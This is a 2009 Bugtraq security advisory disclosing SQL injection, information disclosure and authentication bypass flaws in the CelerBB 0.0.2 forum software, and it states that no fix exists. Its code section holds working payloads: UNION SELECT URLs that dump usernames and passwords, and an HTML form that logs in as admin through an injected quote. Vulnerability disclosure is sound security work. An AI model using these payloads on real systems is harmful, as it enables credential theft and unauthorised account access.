bugtraq - CelerBB 0.0.2 Multiple Vulnerabilities

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Date: Thu, 5 Mar 2009 15:37:49 +0100
From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@...il.com>
To: Bugtraq <bugtraq@...urityfocus.com>, str0ke <str0ke@...w0rm.com>
Subject: CelerBB 0.0.2 Multiple Vulnerabilities

*******   Salvatore "drosophila" Fresta   *******

[+] Application: CelerBB
[+] Version: 0.0.2
[+] Website: http://celerbb.sourceforge.net/

[+] Bugs: [A] Multiple SQL Injection
          [B] Information Disclosure
          [C] Authenticaion Bypass

[+] Exploitation: Remote
[+] Date: 05 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@...il.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: viewforum.php, viewtopic.php

This bug allows a guest to view username and
password list.


- [B] Information Disclosure

[-] Requisites: none
[-] File affected: showme.php

This bug allows a guest to view reserved
information of any user.


- [C] Authentication Bypass

[-] Requisites: magic_quotes_gpc = off
[-] File affected: login.php

This bug allows a guest to bypass authentication.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/viewforum.php?id=-1' UNION ALL SELECT
1,2,GROUP_CONCAT(CONCAT(username, 0x3a, password)),4,5,6,7,8 FROM
celer_users%23

http://www.site.com/path/viewtopic.php?id=1' UNION ALL SELECT
1,2,3,NULL,5,6,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL
FROM celer_users%23


- [B] Information Disclosure

http://www.site.com/path/showme.php?user=admin


- [C] Authentication Bypass

<html>
  <head>
    <title>CelerBB 0.0.2 Authentication Bypass Exploit</title>
  </head>
  <body>
    <form action="login.php" method="POST">
      <input type="hidden" name="Username" value="admin'#">
      <input type="submit" value="Exploit">
    </form>
  </body>
</html>


*************************************************

[+] Fix

No fix.


*************************************************

-- 
Salvatore "drosophila" Fresta
CWNP444351

View attachment "CelerBB 0.0.2 Multiple Vulnerabilities-05032009.txt" of type "text/plain" (1958 bytes)